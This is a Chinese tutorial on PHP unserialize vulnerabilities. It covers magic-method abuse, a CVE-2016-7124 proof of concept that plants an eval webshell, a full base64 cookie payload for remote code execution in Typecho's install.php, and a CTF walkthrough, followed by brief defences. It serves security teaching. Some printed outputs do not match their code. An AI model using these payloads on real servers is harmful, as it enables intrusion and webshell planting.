PHP序列化漏洞原理

时间:2022-07-22
本文章向大家介绍PHP序列化漏洞原理,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

本文作者:cream(贝塔安全实验室-核心成员)

  • PHP序列化漏洞原理
  • 1、序列化(串行化)
  • 2、反序列化(反串行化)
  • 3、序列化实例分析
  • 4、反序列化实例分析
  • 5、祸起萧墙---Magic函数
    • 5.1 魔数函数的用法
    • 5.2 安全问题
  • 6、实例讲解
    • 6.2.1 Typecho
    • 6.2.2 漏洞介绍和复现
    • 6.1 CVE-2016-7124
    • 6.2 Typecho反序列化漏洞
  • 6.3 bugku 文件包含和PHP反序列化漏洞CTF练习题
  • 7、防御PHP序列化漏洞

1、序列化(串行化)

将变量转换为可保存或传输的字符串的过程;

2、反序列化(反串行化)

在适当的时候把这个字符串再转化成原来的变量使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。常见的php系列化和反系列化方式主要有:serializeunserialize;json_encode,json_decode。

string serialize ( mixed $value )返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

mixed unserialize ( string $str )对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

3、序列化实例分析

<?php 
// 序列化
//定义一个类,类名是chybeta
class chybeta{
	//定义一个变量
	var $test = 123;
}
//new一个对象,实例化
$class1 = new chybeta;
//序列化创建的对象
$class1_ser = serialize($class1);
print_r($class1_ser);
 ?>

输出结果:O:7:"chybeta":1:{s:4:"test";i:123;} 其中,O表示对象,7表示对象名chybeta的长度,chubeta是对象名,1表示有1个参数,{ }里面的参数有key和value,s表示是string对象,4表示长度,test是key,i表示是integer对象,123是value

4、反序列化实例分析

<?php
//定义一个类user
class User
{
	//定义两个变量
	public $age=0;
	public $name='';

	//定义一个方法
	public function PrintDate(){
		echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
	}
}
//反序列化
$user =unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:9:"aaaaaaaaa";}');
//调用PrintDate函数
$user->PrintDate();
?>

输出结果:User aaaaaaaaa is 20 years old.

5、祸起萧墙---Magic函数

5.1 魔数函数的用法

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,例如:__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在下面实例中增加了三个magic方 法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调 用,__toString在对象被当作一个字符串使用时调用。

<?php
//定义一个类,名为TestClass
class TestClass 
{
	//定义一个变量
	public $variable='this is a string!';
	//定义一个方法
	public function PrintVariable()
	{
		echo $this->variable.'<br/>';
	}
	public function __construct()
	{
		echo '__construct<br />';
	}
	public function __destruct()
	{
		echo '__destruct<br />';
	}
	public function __toString()
	{
		return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object =new TestClass();
//调用对象下的方法
$object->PrintVariable();
//对象被当做一个字符串
//__tostring会被调用
echo $object;
//脚本结束了,__destuct会被调用
?>

输出结果: __construct this is a string! __toString __destruct

思考php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?

在传递变量的过程中,有可能遇到变量值要跨脚本文件传递 的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚 本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。*serialize可以将变量 转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。*让我们在下面代码中添加序 列化的例子,看看php对象序列化之后的格式。

<?php    
  // 定义类
class User    
{    
    // 定义两个变量
    public $age = 0;    
    public $name = '';    
    // 定义方法,输出数据
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}      
// NEW一个对象
$usr = new User();    
// 设置数据
$usr->age = 20;    
$usr->name = 'John';    
// 输出数据
$usr->PrintData();    
// 输出序列化之后的数据
echo serialize($usr);     
?>   

输出结果:User aaaaaaaaa is 20 years old. O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:9:"aaaaaaaaa";}

magic函数__construct和__destruct会在对象创建或者销毁时自动调用;__sleep magic方法在一个对象被序列化的时候调用;__wakeup magic方法在一个对象被反序列化的时候调用。在下面代码中添加这几个magic函数的例子。

<?php  
//定义类
class Test    
{   
	//定义两个变量
    public $variable = 'BUZZ';    
    public $variable2 = 'OTHER'; 
    //定义方法
    public function PrintVariable()    
    {    
        echo $this->variable . '<br />';    
    }    
    public function __construct()    
    {    
        echo '__construct<br />';    
    }    
    public function __destruct()    
    {    
        echo '__destruct<br />';    
    }    
    public function __wakeup()    
    {    
        echo '__wakeup<br />';    
    }    
    public function __sleep()    
    {    
        echo '__sleep<br />';    
        return array('variable', 'variable2');    
    }    
}    
// 创建对象调用__construct
$obj = new Test();    
// 序列化对象调用__sleep
$serialized = serialize($obj);    
// 输出序列化后的字符串
print 'Serialized: ' . $serialized . '<br />';    
// 重建对象调用__wakeup
$obj2 = unserialize($serialized);    
// 调用PintVariable输出数据
$obj2->PrintVariable();    
// 脚本结束调用__destruct
?>   

输出结果:__construct __sleep Serialized: O:4:"Test":2:{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} __wakeup BUZZ __destruct __destruct

5.2 安全问题

现在我们了解序列化是如何工作的,但是我们如何利用它呢?有多种可能的方法,取决于应用程序、可用的类和magic函数。记住,序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类,这些函数会影响Web应用程序。例如,我们可能会找 到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。

<?php     
class LogFile    
{    
    // log文件名
    public $filename = 'error.log';    
    // 储存日志文件
    public function LogData($text)    
    {    
        echo 'Log some data: ' . $text . '<br />';    
        file_put_contents($this->filename, $text, FILE_APPEND);    
    }    
    // 删除日志文件
  /*ublic function __destruct()
    {
        echo '__destruct deletes "' . $this->filename . '" file. <br />';
        unlink(dirname(__FILE__) . '/' . $this->filename);
    }  */  
    public function __wakeup()
    {
      
      echo '__destruct deletes "' . $this->filename . '" file. <br />';    
      unlink(dirname(__FILE__) . '/' . $this->filename);   
      
    }
}    
?>   

然后调用这个文件,log.php中的代码如下:

<?php     
include 'logfile.php';     
// 创建一个对象
$obj = new LogFile();       
// 设置文件名和要储存的日志数据
$obj->filename = 'somefile.log';    
$obj->LogData('Test');   


// 脚本结束__destruct被调用somefile.log文件被删除
?>   

运行结果:Log some data: Test __destruct deletes "somefile.log" file.

解释:log.php在调用logfile.php代码中,首先将‘Test’写到somefile.log文件中,在代码结束后,会调用__destruct方法,使用unlink()将文件删除掉

然后接下来使用反序列化调用,参数是用户提供的,test.php

<?php    
include 'logfile.php';    
// ... 一些使用LogFile类的代码...
// 简单的类定义
class User    
{    
    // 类数据
    public $age = 0;    
    public $name = '';    
    // 输出数据
    public function PrintData()    
    {    
        echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}    
// 重建用户输入的数据
$usr = unserialize($_GET['usr_serialized']);     
?>   

接下来要调用test.php,首先在deal_test.php查看效果

<?php    
include 'logfile.php';
//new对象,实例化
$obj = new LogFile(); 
//给对象的变量赋值1.php
$obj->filename = '1.php';  
//序列化,并打印
echo serialize($obj) . '<br />';    
//代码执行完毕,调用destruct
?> 

运行结果:O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";} __destruct deletes "1.php" file.

解释:在deal_test.php中,已经赋值好了参数:filename=1.php,我们会发现代码执行后,会删除1.php,接下来使用test.php,查看参数用户可控,并使用unserialize的效果

URL是:

http://localhost/Serialization_vulnerability/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}

运行结果:__destruct deletes "1.php" file.

服务器没有对用户输入的参数进行过滤或者在魔数函数中没有把握好其危害性

到这里,我们可以看出反序列化的问题了!user_serialized用户可控,被删除的文件是1.php,那么是不是还可以删除其他文件呢?

这就是漏洞名称的由来:在变量可控并且进行了unserialize操作的地方,实现代码执行或者其注入序列化对象它坑爹的行为。先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许__toString读取某个文件。把下面这段代码保存为seri_evil.php。

<?php     
class FileClass    
{    
    // 文件名
    public $filename = 'error.log';    
    // 当对象被作为一个字符串会读取这个文件
    public function __toString()    
    {    
        return file_get_contents($this->filename);    
    }    
}    
// Main User class
class User    
{    
    // Class data
    public $age = 0;    
    public $name = '';    
    // 允许对象作为一个字符串输出上面的data
    public function __toString()    
    {    
        return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';    
    }    
}    
// 用户可控
$obj = unserialize($_GET['usr_serialized']);    
// 输出__toString
echo $obj;    
?>   

访问URL:http://localhost/Serialization_vulnerability/seri_evil.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:9:"aaaaaaaaa";}。

然后利用如下的代码seri_evil_file.php产看文件内容:

<?php    
include 'seri_evil.php';    
$fileobj = new FileClass();    
$fileobj->filename = '1.txt';    
echo serialize($fileobj);    
?> 

现在访问URL为:http://localhost/Serialization_vulnerability/seri_evil_file.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

成功读取到文件中的内容

6、实例讲解

6.1 CVE-2016-7124

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

demo文件中代码比较简单,关键是需要在反序列化的时候绕过__wakeup以达到写文件的操作。

根据CVE-2016-7124构造POC,如下:

<?php
class Test
    {
        private $poc = '';
        public function __construct($poc)
        {
            $this->poc = $poc;
        }
        function __destruct()
        {
            if ($this->poc != '')
            {
                file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
                die('Success!!!');
            }
            else
            {
                die('fail to getshell!!!');
            }        
        }
        function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v)
            {
                $this->$k = null;
            }
            echo "waking up...n";
        }
    }
$a = new Test('shell');
$poc = serialize($a);
print($poc);

运行poc.php,得到结果如下:

http://localhost/Serialization_vulnerability/CVE_2016_7124/demo.php?poc=O:4:"Test":1:{s:9:"Test poc";s:5:"shell";}

接下来需要修改两个方面:将1改为大于1的任何整数 将Testpoc改为%00Test%00poc

http://localhost/Serialization_vulnerability/CVE_2016_7124/demo.php?poc=O:4:"Test":3:{s:9:"Testpoc";s:5:"shell";}

然后getshell

6.2 Typecho反序列化漏洞

6.2.1 Typecho

Typecho是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序。基于PHP5开发,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,适用范围十分广泛。

6.2.2 漏洞介绍和复现

Typecho博客软件存在反序列化导致任意代码执行漏洞,恶意访问者可以利用该漏洞无限制执行代码,获取webshell,存在高安全风险。通过利用install.php页面,直接远程构造恶意请求包,实现远程任意代码执行,对业务造成严重的安全风险。

影响版本:Typecho 0.9~1.0

漏洞的入口出现在install.php页面,代码如下:

//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port'])) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}

上述代码经过了两次的判断,我们继续跟进,在install.php 232行~237行:

出现一个比较明显的反序列化漏洞,首先获取到cookie中的__typecho_config值base64解码后,然后进行反序列化。想要执行,只需isset($_GET['finish'])并且__typecho_config存在值。

反序列化后把config['adapter']和config['prefix']传入Typecho_Db进行实例化。然后调用Typecho_Db的addServer方法,调用Typecho_Config实例化工厂函数对Typecho_Config类进行实例化。

Feed.php中__get()方法---->Request.php中的applyFilter函数----->call_user_func(代码执行)

复现漏洞

访问URL:http://192.168.186.140/build/install.php?finish=1

使用BP进行抓包,如图:

抓到包之后我们在BurpSuite点击右键,发送到Repeater,并将POC文件中的Cookie和Referer复制到BurpSuite中修改Referer的IP为192.168.186.140,如图所示。

点击“GO”,可以看到

POC:

POC
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer:http://IP/install.php

也即:a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:19:"Typecho_Feed_type";s:8:"ATOM 1.0";s:22:"Typecho_Feed_charset";s:5:"UTF-8";s:19:"Typecho_Feed_lang";s:2:"zh";s:20:"Typecho_Feed_items";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:57:"file_put_contents(’404.php', '')";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:7:"typecho";}

如图返回状态码为500的数据包就代表成功了。我们这时使用中国菜刀连接

6.3 bugku 文件包含和PHP反序列化漏洞CTF练习题

访问URL:http://192.168.2.101/,提示 you are not the number of bugku ! 查看页面源代码发现有当前页面的代码

txt参数可以使用php://input绕过,效果如下

然后需要包含file参数,但是需要包含文件需要做信息收集,index.php、hint.php、flag.php,三个页面。直接包含flag.php会提示“不能现在就给你flag哦”。所以可以试一试包含hint.php,里面的源码可以通过php://filter/convert.base64-encode/resource=hint.php查看。

解密如下:

查看hint.php以及index.php的代码我们可以知道,接下来需要使用反序列化去读取flag.php中数据。接下来需要构造password的值。

<?php  
class Flag{//flag.php
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "<br>";
		return ("good");
        }  
    }  
} 
$f = new Flag();
$f->file="flag.php";
echo serialize($f);
?>

运行结果为:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},然后访问的URL为http://192.168.2.101/index.php?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在源代码中可以看到flag{php_is_the_best_language}

7、防御PHP序列化漏洞

1.要严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则 2.要对于unserialize后的变量内容进行检查,以确定内容没有被污染